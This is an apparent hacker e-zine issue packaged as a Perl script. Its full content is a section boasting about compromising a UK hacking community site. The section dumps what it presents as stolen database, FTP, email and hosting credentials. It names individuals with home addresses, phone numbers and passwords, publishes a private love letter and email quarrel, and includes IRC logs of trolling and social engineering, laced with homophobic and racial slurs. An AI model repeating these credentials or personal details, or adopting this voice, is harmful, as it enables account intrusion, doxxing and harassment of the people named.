#!/usr/bin/perl

print <<'EOART';

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                   "Your friendly internet superheroes"


          S y m a n t i c  T h r e a t C o n           
          ----------------------------------
         |         Level 4: Extreme         |
         | (/////////////////////////////4) |
          -------------------------------^--

EOART

 1; say('Intro');
 2; own('Hackervoice');
 3; say('P64');
 4; own('Cypherxero');
 5; say('ZAP');
 6; own('Whitedust');
 7; say('Unmaskunmask');
 8; own('Clpwn');
 9; say('Interlude');
10; own('Mil');
11; say('Scene');
12; own('Bambenek');
13; say('CF0');
14; own('Hellboundhackers');
15; say('Contact_outro');




sub Intro { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; say($self, <<'EOINTRO'

We, the masked crusaders of ZF0, have again returned from the depths of
the hackcave to bring justice to some and hope to many. We do the work
that civil society is not prepared to do, and in doing so we transcend law
and social norms. We're here to keep the internet safe from cretins,
knaves, noobs and whitehats. 

Much has changed behind the production that is ZF0. Some of this has been
within our control and some has not. However, we feel that this edition
features a noticable increase in the quality of our material. We have
invested more time into our articles, as opposed to our previous pattern
of essentially dumping past hacks. Additionally we have compromised in
part with criticisms about what data we publish and how, while still
maintaining the originality and integrity of our zine.

We have arranged the articles in a way that the second half of them
generally complement the first. In this way your reading pleasure can be 
easily split into two events. As well, ZF03 is self-extracting. 

Some of the highlights include our owning of Whitedust et al. in response
to our own Call For 0wning, and our thorough owning of HellBound Hackers.
With HBH we owned any wankers worth laughing at and then we owned some
more. It is a massive article; for that reason alone we placed by the end.

This issue is dedicated to fallen comrades.

EOINTRO
);}


sub own {

	my $pain = "Give me write perms, HAL";
	my $dir = 'own';
	mkdir $dir, 0700 or die $pain if !-d $dir; 
	&{$_[0]} && return if !$_[1];
	open $OWN, '>', "$dir/$_[0].txt" or die $pain;
	print $OWN $_[1];
	close $OWN;

}

sub say { &own; }


sub Hackervoice { ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; own($self, <<'EOHACKERVOICE'

I first looked up this site in the hunt for the ever media whoring 'psg'.
What I found pissed me off enough to take the decision to own it.
'Bringing new life to the UK scene'? The UK scene doesn't need fags like
you. You claim to be hackers, you even think you're the leetest things
since bread came sliced. Well here's a news flash, your site sucks, your
content sucks and receiving RSS feeds of milw0rm doesn't make you a
hacker. Your severe lack of respect, intelligence and arrogance has
brought you here, and will more than likely bring you here again. I have
no doubt you won't learn your lesson, after all, we're just the kiddies
who can't code and ./wget milw0rm aren't we? fags. As a side note: any
site allowing psg to spout his media whoring bullshit must be owned,
cDcnsf - Bite me.

##oh noes
DO NOT ATTEMPT TO RUN ANY FORM OF EXPLOIT CODE ON THESE FORUMS. These
forums are maintained by seasoned veteran hackers and we make sure all our
software is fully patched. No matter what exploit you have, we have
patched it and not only will you make a fool of yourself, your account
will immediately be closed and WE WILL HUNT YOU DOWN AND MAKE YOUR LIFE
MISERABLE. Trust me, it is not worth it. 
#ph33r


Hacker Voice SSH/FTP
username: u38618710
password: kGKVCn2X

##changed since rm##

HV Blog:
Username: 10nix
Password: 12ab672
http://www.hackervoice.co.uk/wordpress/wp-login.php


(forum) ##content lacking and full of noobs who dream of submitting an XSS to milw0rm##
$INFO['sql_driver']	       =    'mysql';
$INFO['sql_host']	     =	  'db114.oneandone.co.uk';
$INFO['sql_database']		 =    'db136424260';
$INFO['sql_user']	     =	  'dbo136424260';
$INFO['sql_pass']	     =	  'NSBpPtf7';

(admin panel)
  $db_hostname="db194.oneandone.co.uk";
  $db_username="dbo166659147";
  $db_password="54MPRV9g";
  $db_database="db166659147";
  

Oh, and what the fuck is phishnet? It stops here and it stops now? What
exactly are you going to do? What is the point in your site?

	// Database^M
	// Choose the database to be used^M
	define('XOOPS_DB_TYPE', 'mysql');^M

	// Table Prefix^M
	// This prefix will be added to all new tables created to avoid
name conflict in the database. If you are unsure, just use the default
'xoops'.^M
	define('XOOPS_DB_PREFIX', 'xoops');^M
^M
	// Database Hostname^M
	// Hostname of the database server. If you are unsure, 'localhost'
works in most cases.^M
	define('XOOPS_DB_HOST', 'db590.oneandone.co.uk');^M
^M
	// Database Username^M
	// Your database user account on the host^M
	define('XOOPS_DB_USER', 'dbo161539608');^M
^M
	// Database Password^M
	// Password for your database user account^M
	define('XOOPS_DB_PASS', 'DcQveZrA');^M
^M

Now where to start with these fags. The admins here don't know their arse
from their elbow and want to share that with the world. First up, Belial.
Belial has been owned far too many times and doesn't even know about it.
Your forum has been backdoored for months and you haven't known, and guess
what, no one gives a fuck. Infact the only reason to release this shit is
because of your arrogance. 

<@Blue_Chimp> best way to win a battle is to deny the arsehole seeking a
battle, a fight ##wrong, there was no fight, just me lulzing at your
asses##

<@Be|ia|> yeah h0no started shit they had no just reason to
<@Be|ia|> May 12 10:48:41 [camel] they're lame as fuck ##camel lulz##

<@Be|ia|> I'd find it really funny if someone pwned my email
belial@hackervoice.co.uk / coder69matrix
##that quote is almost too good, heres to the lulz Belial :]

And his forum passwords range from anything to do with cheeses really,
mind you, the constant waft of cheese he must get everytime he goes for a
piss must put cheese on the brain quite a lot.

Anyone: ./john -wordlist=cheese.dic

Who's next on the list, oh, TeaC :) I bet you where worried you'd be
missing out on your chance of f4m3.

Teac / Teacish@gmail.com - purplebins1

Name: Daniel Maine
Address:
37 Eastry Road
Erith
Kent ##shit hole
DA8 1NW

Tel: 01322 448851  Mob: 07725970371

Account Username: digitalsec.co.uk   ##ROFL
Account Password: purplebins1

DigitalSec is a small company dedicated to providing
security assessments at a low cost so that you can
feel safer when you're online. ##moment please..L0Lz


FTP Settings
ftp hostname: ftp.streamline.net
(Once domain is transferred/registered ftp Hostname: ftp.digitalsec.co.uk)
ftp Username: digitalsec.co.uk
ftp Password: purplebins1
host directory: htdocs

StreamlineDial Settings
For best FTP connectivity we would suggest using our local rate (0844)
internet dial up service. Here are the settings:
Number: 0844 535 2062
Username: FREE
Password: FREE
Please note that 0844 dialup is cheaper than normal 0845 services.

Catch all E-mail Settings:
E-mail address: anything@digitalsec.co.uk
(This means literally anything@digitalsec.co.uk, ie sales@ info@ dave@
etc...)
E-mail Username: root@digitalsec.co.uk
E-mail Password: purplebins1
POP3 (incoming) Hostname: mail.digitalsec.co.uk
SMTP (outgoing) Hostname: Provided by your ISP

Account Control Panel Settings
Account Control Panel Username: digitalsec.co.uk
Account Control Panel Password: purplebins1
You can login to your control panel via our website at:
http://www.streamline.net/

 Account Number:  13372392
 Contract Number: 12047670
 
 TomTom.com
 E-mail address: teacish@gmail.com
Password: bluebins1  <-- what is your fascination with bins?

Beastnet.org
Username: TeaC
Password: purplebins

hackervoice blog
Username: teac
Password: e0ed645
http://www.hackervoice.co.uk/wordpress/wp-login.php

Yawn.

10nix, your up next :)

And was dat hoe i was cybering with really your bitch? her ass is no
longer 0day my friend.

Nick: 10nix
Name: Joshua DiMarco
email:hyjnx01@gmail.com/ martini1337
email:joshua.a.simons@gmail.com / martini1337

Login to the Web interface@:
https://admin.1and1.com/
Customer ID: 10262299
Password: Martini1337

ftp://www.aspectsgallery.com
Login:u39828969
password: martini1337

Your VoipBuster registration details are:
Username : hackervoiceradio
Password : martini1337

voipuser.org
Username : 10nix
Password : fvxxc3sy
E-mail : 10nix@hackervoice.co.uk

Thank you for signing up.  Your IPKall phone number is: 425-606-4023
SIP Phone Number: 702092
SIP Proxy: fwd.pulver.com
Email: 10nix@hackervoice.co.uk
Password: 6353

server name: old.gensortium.com
Port: 9022
username: hyjnx
passwd: switch2u

Login for asterisk is asterisk, password menhir1


Your username is 10nix, and your password is eihzibcoscx

I hope your Martini has been suffincently shaken Josh :)

h4rh4rh4r, now for some real fun. Who have i missed? SKOBY!  (As skoby
reads this he probably knows what's coming, and rightly so, I won't
dissapoint skoby :).) Well I'll share it with you all, and it's FUNNY
shit. I already leaked this stuff to their shitty community when i rm'd
the site. Unfortunatly for skoby, this shit is too funny to leave for
priv8 lolz.

mrskoby@gmail.com / m47at97004a

To access UKReg simply go to http://www.ukreg.com, click on one of the
member services and enter your username and password which are as follows:

Your username is skoby
Your password is thoxogo

Username: dread-inc
Password: m47at97004a

Log in at: http://www.cjb.net/

cust num: 9754965
https://admin.1and1.co.uk
m47at97004a


ACCOUNT INFORMATION:
====================
Plan: TS-20 Package
Server IP: 70.85.87.202
Server Port: 8778
Server Address: 70.85.87.202:8778

LOGIN INFORMATION:
==================
Control Panel: http://tscp.darkstarllc.com
Username: skoby
password: m47at97004a

BILLING INFORMATION:
====================
http://billing.darkstarllc.com
Username: mrskoby@gmail.com
password: m47at97004a

_______________________________
Blackcode.com
User: mrskoby
Password: m47at97004a
Activation code: 165515647

To access your account with the Control Panel, use the following
information:
URL: https://cp.hostdone.com:8443/psoft/servlet/psoft.hsphere.CP
Login: skoby
Password: 5263929
Account ID: 4861

To access your account by FTP, use:
Host Name: web.hostdone.com
Login: skoby
Password: 5263929

## Not so funny? here you go.

Skoby -> Sarah

Sarah,

Last night when we spoke on the phone, you asked me to open up and talk to
you. I couldn't, at least not then. Knowing you now for almost two years
has been a fountain of mixed feelings, some brilliant, and some difficult.
From when i first met you in college i was crazy about you, when we first
met you told me you were single, so naturally, and arrogently, I thought
that I had a chance. Then after about i think it was 3/4 weeks, you told
me that you were going out with Fraser. I was so devistated, it was like
my heart had been ripped out of my chest and stabbed onto the desk. Once
you told me how old he was I was so fulled with rage and hatred.

The first time we went thru to see him, i had planned to kick the shit out
of him and leave him for dead. Only thing that stopped me was knowing that
it would probably severly jepordise our friendship, even end it. So that
day I bit my tounge and got thru it. Afterwords i just wanted to ask you
what the hell you were thinking, i was so discusted that you were with
THAT!

Anyways, each day went by in college, and as each day went by I started to
hurt more and more, when finally I couldn't take any more, I had only one
choice, leave college. I couldn't put up with seeing you every day, each
day I went home and i just collapsed into a sea of depression and hatred
towards him. So I broke off contact, which by the way is the most hardest
thing to do, especially when you love someone so intensly. But, i couldn't
resist contacting you again and again, because i was scared that you might
become more infatuated with Fraser, and Sarah, that's what it was,
infatuation and obsession. It was pretty obvious what he was, a discusting
pervert, and indeed we now know he is a paedophile as well. But if i said
that to you, could you have imagined what your responce would have been?!
I couldn't say that to you, I was risking any chance that we might have
together.

As we spent more time together, I started to love you more and more. Sarah
I would have done anything for you, gave you anytime you wanted. I was so
wanted to make you happy and I wanted to experiance all the wonderous and
joyous things in the world with you. Last year at the airport, wathcing
the planes come in, I really thought that day that it would be it, but you
quickly put a stop to it, and i let you aswell. I just sat there and said,
"Ok, sure no problem". What in the hell was i thinking, i should have
pushed and pushed, yet i never, feel such an idiot. Sure nothing might not
have happened, but I am so angry at myself for not even trying!

After that day, things just got worse and worse...

Anyway, cutting past more shitty feelings, and more meetings, we made
contact again last month. You told me that you had broke up with Fraser,
and you told me what you had found out about him. After you told me on the
phone i was physically sick because i never said anything in college. I
felt so incredibly bad that i was so selfish and that i only looked out
for myself and never said anything, that you ended up getting hurt so
badly, by such a monster.

Now, here is what i am so incredibly pissed off at. To start, you haved
claimed on several occasions that you have had no feelings for me, yet on
even more occasions, you have contradicted yourself. To start with,
Glasgow airport, sure it was almost an hour of pure passion and i was the
happiest guy in the world then. Why in the hell would you have been so
passionate with me if you didn't have any feelings at all?? Thats one of
the things that I do not get! Also, remember our rather lengthy
conversations last September on MSN, about the cockpit fantasies and the
such? Back then you admitted that you had feelings for me and that you
found me attractive and that you often thought about me. Its a shame i
still dont have the chat logs, could have refreshed your memory. And
another occasion, one more recent, where you admitted to me when we were
sitting by the clyde that if i made a move in college that you would have
acted on it because you said and I quote, "I really fancied you back then,
and I still do". Now i know that fancing someone and having feelings about
them are two different things Sarah, but maybe you could explain last
Tuesday for me?? We were in your living room, and we were telling each
other how we felt, eventually i couldn't take any more and i kissed you.
The look on your face was so incredible. You even said that you were happy
that I did that, whys that I wonder? And why did you keep kissing me back,
and why did you even want me to get more closer, and you know what i'm
talking about. But then the next morning i recieved an email entitled, "Uh
oh" saying that, "I have been thinking about last night, and i think it
would be best if we stayed friends until a good few months". I was so
incredibly ill and sick that day, was so unfair.

Ok, why would you want to mess with my head like that? Its pretty obvious
that you have feelings for me yet your too afraid to admit them! Sarah, i
wish you wouldn't keep messing me around, one day i'm on top of the world
because the girl that i have been so madly in love with for nearly 2 years
has finally opened up and she feels the same way, and the next day im so
incredibly heartbroken and devistated because your just throwing
everything back into my face. You have NO IDEA how hard it has been! I
have held out hope for you for so long because i loved you so much, but
now i fail to see what the point is. Sure Sarah, we can still be the best
of friends, and I could keep putting on a show, making everything seem as
if it is alright, but I cant. Its just got to the stage now where
everything that we've went thru is just destroying me, its killing me. And
another thing that hurt and angered me, last night so said on the phone
that i wasn't your type?! So what is?! 30 year old 18 stone perverted
paedophiles?!

One of the things your longing for is for someone to really love you after
you've went thru, your mum tells me how you feel. Well Sarah there is
someone out there who can truly love you, and appreciate you for how
special you really are. Sure theres probably more than one, but i doubt
you'll ever find anyone who could love you in the way that I do.

I'd just like to say these last final words. Always act on your heart, not
your head, and stop trying to analyse life and just live it.

I know i shouldn't be, but i'm still hoping that you change your mind, its
something that I cannot help, i'm only human. If you do, let me know
sooner than later. If you have any feelings, no matter how small then act
on them. If you dont, then dont email me back, i'll already know. :( And
in that case, i'll hopefully see you when i'll return from America.

Gordon


Sarah Mathieson 	
to Skoby
	
show details
	 6/18/05 
I just want to thank you for keeping your phone on and meeting me today. 
I knew i could rely on you.

Well Gordon, im not taking anymore of my so called friends letting me
down, and yes I AM angry.  If its not Pamela its you.

Tomorrow is your last chance to meet me or we can just forget about
everything, i am sick and tired of being let down without notice and being
the "bad one"

I have called and called your house and there has been no response.

Call me tonight if you want to arrange to meet, if i dont hear anything
then i know where i stand.

Sarah

Skoby -> Sarah
WTF DO YOU THINK YOUR UP TO?!

First off I am not wasting my life away, IF I WAS WOULD I HAVE APPLIED TO
OVER 20 UNIVERSITES ALL OVER THE UK AND AMERICA TO STUDY FOR A PHD IN
COMPUTER SCIENCE?!

Sarah -> Skoby

No excuse me who was the one who never phoned me? i told you to leave your
phone on to contact me, i've also asked you repeatedly to phone me but i
dont know whats wrong with me.

Why didn't you tell me you weren't going to meet me?  i went home early
thinking you were going to meet me.

Skoby -> Sarah 
Sarah I'm going to the bridges, if you love them so much then you know
where they are, but i'm not going. And what is it with you wanting to
get a double hotel room, thats just a bit weird dont ya think?

Do me a big favour, dont contact me again and dont call the house when
I get back, if you do i'll just block incoming calls from your
numbers.

Sarah -> Skoby
Sorry?	Im sorry Gordon, but the only reason i asked was because you said
yes.  If you didnt want to then you shoud have said so.

Why are you mad at me?

Sarah

Sarah->Skoby
Im just a bit shocked at why you've sent me this hurtful email when on msn
you were happy to talk to me.  Whats going on?

Can you explain why?

Skoby -> Sarah
I dont have to because i dont need to, nor do I want to. Just leave me
alone Sarah, ok?

Sarah -> Skoby
You wont need to block me because i wont be in contact anymore.
Sarah

Poor Skoby, not only are you an emo fag, now everyone knows that you're an
Emo fag. Get out of the scene and stay out the scene.

We need to keep sites like this off the net. And to all the members of
this site, if you feature in this zine, you know whose fault it is? Ours?
no. Belial and all the other admins i featured above have been letting you
log into a backdoored forum for a long time. I didn't even backdoor it and
managed to find it. So Skoby/Belial/TeaC i hope you're happy with your new
found fame, something which you've been after for along now, now get the
fuck out of the scene, especially you skoby.

Sites like this really do piss me off, but not as much as when I irc'd
with these people, their lack of knowledge astounds me, especially when
they think they are the bee's knees. News Flash: You fake scene whoring
pieces of shit can bite me, you're lucky I didn't release all the irc logs
of you fags.

Btw, your irc servers are owned and sniffed and also, Vesalius, your
homebox is backdoored, and I have your address.

<@Be|ia|> i mean pr0j3t g4yh4m ##oh dear, WHITEHAT.

Ok, with the main ownage over, lets check out some more IRC logs of these
noobs being owned left right and centre :)

First up, naxxtor being SE'd:

01:12:11 -!- m4tr1x [m4tr1x@thv-1D1E76BC.cpucafe.com] has joined #hvr
##MATRIX IS ME :D
01:12:56 < m4tr1x> hello
01:13:16 < naxxtor> hihi
01:13:40 <+Funsox> hi
01:14:01 < m4tr1x> i have been learning to hack
01:14:11 < m4tr1x> and found your site
01:14:19 < naxxtor> ah excellent
01:14:22 <+Funsox> Sounds good so far
01:14:38 < naxxtor> you on the forums yet m4tr1x ?
01:15:15 < m4tr1x> i didnt listen 2 ur show yet though, becos i dont want
to go over my internets cap
01:15:23 < m4tr1x> no i am not on the forums yet
01:15:32 < naxxtor> fair enough
01:15:45 < pingu> i will sign up :D
01:16:18 < naxxtor> good plan
01:16:36 < naxxtor> that way i can validate you guys now rather than you
having to wait till tomorow
01:16:43 < pingu> yay
01:17:23 < pingu> hackersvoice.co.uk?
01:17:37 < pingu> oh hackervoice
01:17:39 < m4tr1x> i want to learn to use rpcdcom hack tool
01:17:59 < naxxtor> forums.hackervoice.co.uk
01:18:07 < naxxtor> hmm, hack tool - sounds skiddyish to me! ## I THOUGHT
ID SPEAK ON YOUR LEVEL
01:18:24 < m4tr1x> http://milw0rm.com/exploits/61
01:18:28 < naxxtor> you talking about the RPC buffer overflow exploit
01:18:35 < m4tr1x> i tried putting the lines into the run box but it didnt
work ##LOL
01:18:45 < naxxtor> milw0rm.com [2003-07-21]
01:18:52  * naxxtor stifles a laugh ##I WAS ALL OUT LOLING
01:18:55 < pingu> :(
01:18:56 < naxxtor> no, that wouldn't work
01:19:05 < naxxtor> you need to compile it
01:19:50 < m4tr1x> i believe my friend can be hacked with it
01:19:56 < m4tr1x> and my school
01:20:01 <+Funsox> hmmm
01:20:13 < naxxtor> they using XP SP1?
01:20:24 < naxxtor> http://msdn.microsoft.com/vstudio/express/visualc/ <--
you'll need something like that
01:20:29 < m4tr1x> they run windows XP yes
01:20:30 < naxxtor> a C/C++ compiler
01:20:40 < naxxtor> that exploit was patched a LONG time ago
01:20:54 < pingu> what if they dont have any service packs at all?
01:21:10 < naxxtor> hmm, depends
01:21:26 < naxxtor> if they've been updating just not adding the SP's
01:21:32 < pingu> right
01:21:32 < naxxtor> which is a bit stupid really
01:21:38 < pingu> :]
01:21:46 < pingu> i see
01:22:39 < naxxtor> btw
01:22:47  * naxxtor points at the forum rules (which also apply here)
01:22:47 < naxxtor> Do not ask us to hack anything for you. We will not
tell you how to compromise your ex-girlfriend's e-mail account and we will
not do it for you. Nor will we help you deface you school's website or get
root on your school's network. If you want to do any of these type of
things then it is your own business and we don't want want to know about
it.
01:23:04 -!- Funsox [god@thv-79552261.bmly.cable.ntl.com] has quit [Ping
timeout]
01:23:05 < pingu> dont worry! :)
01:23:22 < m4tr1x> is it ok to use hack tool on hackervoice then lmfao
lmfao
01:23:40 < naxxtor> ha haaa no
01:24:03 < naxxtor> you've not seen what we've done to the nob heads who
have done that in the past ##BRING IT ON NIG
01:24:25 < m4tr1x> :(
01:24:39 < m4tr1x> dont hack me
01:24:41 < pingu> may i ask what you did?
01:24:48 < naxxtor> you may ask
01:24:57 < pingu> what did you do? :b
01:25:00 < naxxtor> but i probably won't give a satisfactory answer
01:25:11 < naxxtor> we caused them greif #SHIT
01:25:13 < pingu> oh okay
01:25:19 < pingu> fair enough
01:26:28 < m4tr1x> i did php exploit on a website once
01:26:32 < m4tr1x> from milw0rm
01:26:39 < m4tr1x> do you know how to hack google
01:26:42 < m4tr1x> i read how to
01:30:11 < naxxtor> hack google?
01:30:19 < m4tr1x> you do it like this
01:30:22 < m4tr1x> inurl
01:30:24 < m4tr1x> and stuff
01:30:33 < naxxtor> are you talking about google hacking
01:30:34 < m4tr1x> you can even find mp3's using it
01:30:38 < m4tr1x> hacking google
01:31:06 < naxxtor> ohh yeah
01:31:18 < naxxtor> that's not really hacking google
01:31:27 < naxxtor> well, i guess it is a sort of hack ##YEAH!
01:31:59 < m4tr1x> could you hack me naxxtor
01:32:13 < naxxtor> i don't know :p ## NO
01:32:23 < naxxtor> i don't particularly want to try
01:32:30 < naxxtor> well...
01:32:34 < naxxtor> i can do this ....
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01:32:43 < naxxtor> :p
01:32:45 < pingu> hahaa
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[00:33] <naxxtor> i don't even need to force him :p
[00:33] <naxxtor> as you can see
[00:33] <naxxtor> that usually makes people part all the channels they're
currently on
[00:33] <m4tr1x> did you think of that
[00:33] <m4tr1x> i just put #0,0 in milworm search
[00:33] <naxxtor> kinda #hrm..
[00:33] <m4tr1x> no results
[00:34] <naxxtor> it's not really an exploit
[00:34] <naxxtor> it's just a quirk in the way most IRC clients work
[00:34] <pingu> thats stupid
[00:34] <naxxtor> yeah, it is :p
[00:34] <pingu> why dont the developers of the clients fix that?
[00:34] <m4tr1x> i think i saw that happen on the film swordfish ## LOL
[00:34] <m4tr1x> a guys got all his internet explorers closed or something
[00:34] <naxxtor> ....... i didn't know they used IRC in swordfish
........
[00:35] <m4tr1x> i like your nickname naxxtor
[00:35] <m4tr1x> what is your password
[00:35] <naxxtor> lol
[00:35] <naxxtor> you think i have ONE password? ## right now i was so
tempted to paste his pw, but refrained for the lulz
[00:35] <naxxtor> also, you assume it's a word?
[00:36] <m4tr1x> what do you mean
[00:36] <m4tr1x> like numbers and stuff like my name
[00:36] <naxxtor> it's a bit better than that
[00:37] <naxxtor> it includes letters upper and lower case
[00:37] <naxxtor> numbers
[00:37] <naxxtor> symbols
[00:37] <naxxtor> non printable characters
[00:38] <m4tr1x> is that a printer exploit
[00:38] <naxxtor> um
[00:38] <naxxtor> ????
[00:38] <naxxtor> do you see those?
[00:39] <m4tr1x> they are rectangles
[00:39] <naxxtor> exactly
[00:39] <m4tr1x> its like on the matrix
[00:39] <naxxtor> lol
[00:39] <m4tr1x> when the things come down the screen
[00:39] <naxxtor> they've all got codes
[00:39] <m4tr1x> do you use COMMAND.COM
[00:39] <naxxtor> try holding alt and typing some numbers on the numpad
[00:39] <naxxtor> i use bash ;)
[00:40] <m4tr1x> whats bash
[00:40] * m4tr1x slaps naxxtor around a bit with a large trout
[00:40] <naxxtor> a shell
[00:40] <naxxtor> for linux
[00:41] <m4tr1x> what is linux 
[00:41] <naxxtor> it's an operating system
[00:41] <naxxtor> www.debian.org
[00:41] <m4tr1x> like VISTA
[00:42] <naxxtor> yes, only way less crap
[00:42] <m4tr1x> do u use this
[00:42] <m4tr1x> debian
[00:42] <naxxtor> yep
[00:42] <m4tr1x> hahhahaha it sounds like an alien ##LOL
[00:42] <naxxtor> it does?
[00:42] <m4tr1x> BOW TO ME EVIL DEBIAN
[00:42] <naxxtor> there is a program for debian called alien
[00:43] <naxxtor> lol
[00:43] <naxxtor> debian aint evil
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[00:43] <m4tr1x> how can i find out what debian is like
[00:43] <m4tr1x> how do i get a SHELL
[00:43] <naxxtor> let me see
[00:44] <m4tr1x> 'Windows cannot find 'BASH'
[00:44] <m4tr1x> it didnt work inthe run box
[00:44] <naxxtor> LOL no windows wouldn't
[00:44] <naxxtor> mmkay
[00:44] <naxxtor> wanna know what debian is like?
[00:45] <m4tr1x> yeah
[00:45] <naxxtor>
http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html # HERE WE
GO
[00:45] <naxxtor> download the file called putty.exe
[00:45] <m4tr1x> ok
[00:45] <m4tr1x> i hope its not spyware
[00:45] <m4tr1x> i run adaware 3 times a week you know
[00:45] <naxxtor> lol no, it's not adware
[00:46] <naxxtor> i'm running it right now
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[00:46] <m4tr1x> ok i got it
[00:46] <naxxtor> right
[00:46] <naxxtor> run it
[00:46] <m4tr1x> yes
[00:46] <naxxtor> in the box type in home.naxxtor.com
[00:46] <m4tr1x> yeah
[00:47] <naxxtor> got a black box up asking for a password?
[00:47] <m4tr1x> username:
[00:47] <naxxtor> your username is m4tr1x
[00:47] <m4tr1x> ok
[00:47] <naxxtor> check PMs for your password

##private messages

[00:47] <naxxtor> password is password ## EL8
[00:47] <m4tr1x> ok
[00:47] <m4tr1x> wait
[00:47] <m4tr1x> my mum is shouting
[00:47] <m4tr1x> brb
[00:47] <naxxtor> lol ok
[00:48] <m4tr1x> its late you see
[00:48] <m4tr1x> 00:48 here
[00:48] <m4tr1x> i might have to go
[00:48] <naxxtor> yes, it is quite
[00:48] <m4tr1x> can i coem back here
[00:48] <naxxtor> it's 00:48 here too
[00:48] <naxxtor> i don't see why not
[00:48] <m4tr1x> il leave mirc running wil those instruction work tomorrow
[00:48] <naxxtor> should do
[00:49] <naxxtor> bear in mind i'm going to be watching you very closely,
so don't try any funny stuff without telling me first
[00:49] <m4tr1x> haha are you scared my dcom exploit would work ##LOL
[00:49] <naxxtor> on that machine? lol no
[00:49] <m4tr1x> why not
[00:50] <naxxtor> because it's running linux
[00:50] <naxxtor> which doesn't have dcom at all
[00:50] <m4tr1x> oh
[00:50] <m4tr1x> il read about linux at school tomorrow at lunch
[00:50] <naxxtor> good plan
[00:50] <naxxtor> but you've got a shell to play with nos
[00:50] <naxxtor> *now
[00:50] <m4tr1x> thank you
[00:50] <naxxtor> no probs
[01:21] <m4tr1x> i am back
[01:21] <m4tr1x> i just tried the putty program
[01:21] <m4tr1x> but it says something about " DNS LOOK UP "
[01:21] <m4tr1x> and a red box
[01:23] <naxxtor> ok hang on a second
[01:23] <naxxtor> my dns is borked
[01:23] <m4tr1x> what does dns stand for
[01:23] <naxxtor> 212.159.18.135
[01:23] <naxxtor> Domain Name Server
[01:24] <m4tr1x> what are those numbers
[01:24] <naxxtor> it's an IP
[01:24] <naxxtor> it tells your computer where mine is
[01:24] <m4tr1x> oh ok
[01:24] <m4tr1x> do i put it in the box
[01:24] <m4tr1x> when i click open
[01:24] <naxxtor> yes
[01:25] <m4tr1x> thank you, anyway i gotta go now. i alraedyt had to sneak
back onto the pc
[01:25] <naxxtor> lol ok
[01:26] <m4tr1x> iv hidden putty.exe in a folder in the C:\windows area
[01:26] <naxxtor> nice hiding
[01:26] <naxxtor> if you put it in system32
[01:26] <m4tr1x> thanks
[01:26] <naxxtor> you can open the run box
[01:26] <naxxtor> and type putty
[01:26] <naxxtor> and it'll start
[01:26] <m4tr1x> il see if i can find that folder
[01:26] <m4tr1x> thank you, i will try and talk to you tomorrow
[01:26] <m4tr1x> good night
[01:26] <naxxtor> night

As you can see, naxxtor is an idiot.

Now moving on me dropping passwords in their channel..check it :D

### This is the after effects of trolling, dropping them their own pw's.

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13:16 -!- Topic set by Vesalius [] [Wed May  9 13:02:01 2007]
13:16 [Users #hvr]
13:16 [~Be|ia|	  ] [@muftak   ] [+BOfH      ] [+Katje	 ] [+n0x    ]
[+Zakolus] 
13:16 [~naxx2	  ] [@oOJINxOo_] [+BOT	     ] [+Large	 ] [+psg    ] [
mxn    ] 
13:16 [~naxxtor   ] [@shaman   ] [+Crypt     ] [+lohapuk ] [+Seadog ] 
13:16 [&SHAGGSTaRR] [@TeKitty  ] [+cybereagle] [+MITKitty] [+Timboss] 
13:16 [&Vesalius  ] [@zinya-   ] [+DesertRose] [+MuNk	 ] [+x4e    ] 
13:16 -!- Irssi: #hvr: Total of 27 nicks [5 ops, 0 halfops, 16 voices, 6
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13:16 -!- Channel #hvr created Mon Feb 19 17:50:51 2007
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13:16 <+cybereagle> i thought i found his name address telephone and
email. but that was for an italian. boo :(
13:16 <@zinya-> did you ever bully anyone when you were younger psg?
13:16 -!- mode/#hvr [+v l0l] by Vesalius
13:16 <+cybereagle> oh boy
13:16 <+cybereagle> here we go
13:17 <+Large> guys i think i have worked out how to transmit teletext we
want to a whole county in the uk, but of course this is illegal and we
would not do it
13:17 <+psg> cybereagle: how do you know he isn't italian?
13:17 <+Zakolus> who the fuck is l0l?
13:17 <&Vesalius> Large, yes "we" "wouldn't"
13:17 <+cybereagle> psg: i dont for sure, but his ip was american
13:17 <+cybereagle> and i didnt wanna look an ass
13:17 <+cybereagle> :P
13:17 <+cybereagle> i could prob find out with more googling
13:18 <+cybereagle> apparently, he was known for his rants and outburts on
another community
13:18 <+l0l> Zakolus: hm?
13:18 <&Vesalius> oh noes
13:18 <+l0l> obviously some guy new to this channel
13:18 <&Vesalius> he might rm my machine
13:18 <+Zakolus> okayy..
13:18 -!- Jordan [Jordan@thv-189B68CB.bagu.broadband.ntl.com] has joined
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13:18 <+Zakolus> hey Jordan
13:18 <&SHAGGSTaRR> gb2msn
13:18 <&SHAGGSTaRR> j/k :P
13:18 <&Vesalius> not as if he rms it'll be fun
13:18 <+cybereagle> you should let him, it will be fucking funny going
over the logs to see how noobily he went about the process of pwning ##LOL
13:18 <&Vesalius> *won't
13:19 <+Jordan> Hey Zak Hey everyone
13:19 <&Vesalius> cybereagle, also I enjoy reinstalling =]
13:19 <+cybereagle> ok, thats a little odd
13:19 <+cybereagle> lol
13:19 <+Zakolus> XD
13:19 <+Zakolus> Reinstall fetish
13:19 <+DesertRose> wow
13:19  * DesertRose just read up
13:19 <+DesertRose> what a frigging asshole
13:19 <&Vesalius> FFS
13:19 <&SHAGGSTaRR> OOH BABY I LOVE HOW YOU SLIP INTO MY FRESHLY FORMATED
PARTITIONS
13:19 <&SHAGGSTaRR> XD 
13:19 <+DesertRose> see, dinner is always badly timed when I'm on irc
13:19 <+Zakolus> XD
13:20 <+DesertRose> lmfao Shagg
13:20 <+Zakolus> afk for some fewd
13:20 <&SHAGGSTaRR> I've just finished my slasa source so I have no dip
for the pringles
13:20 <&SHAGGSTaRR> Not a happy bunny =/
13:20 <&SHAGGSTaRR> No wait, not even a bunny, what am I on about?
13:21 <+Jordan> lol ermm wonder if i have new pringles i ate some last
night texas bbq sauce flavour nice
13:21 <&SHAGGSTaRR> I wish I had those instead of sour cream and onion
13:21 <+Zakolus> msn = htek?
13:21 <+Jordan> go buy some then theyre nice
13:21 <+Zakolus> l0l*
13:22 <&SHAGGSTaRR> oh yeah how was prom dude?
13:22 <+l0l> Zakolus: i dont think so. are you stalkin me dude?
13:22 <+Zakolus> ...
13:22 <+Jordan> is that me shagg? if so amazing 
13:22 <&SHAGGSTaRR> yeah you obviously
13:22 <+Zakolus> No, we just had someone come in here making threats, and
you could possibly be them
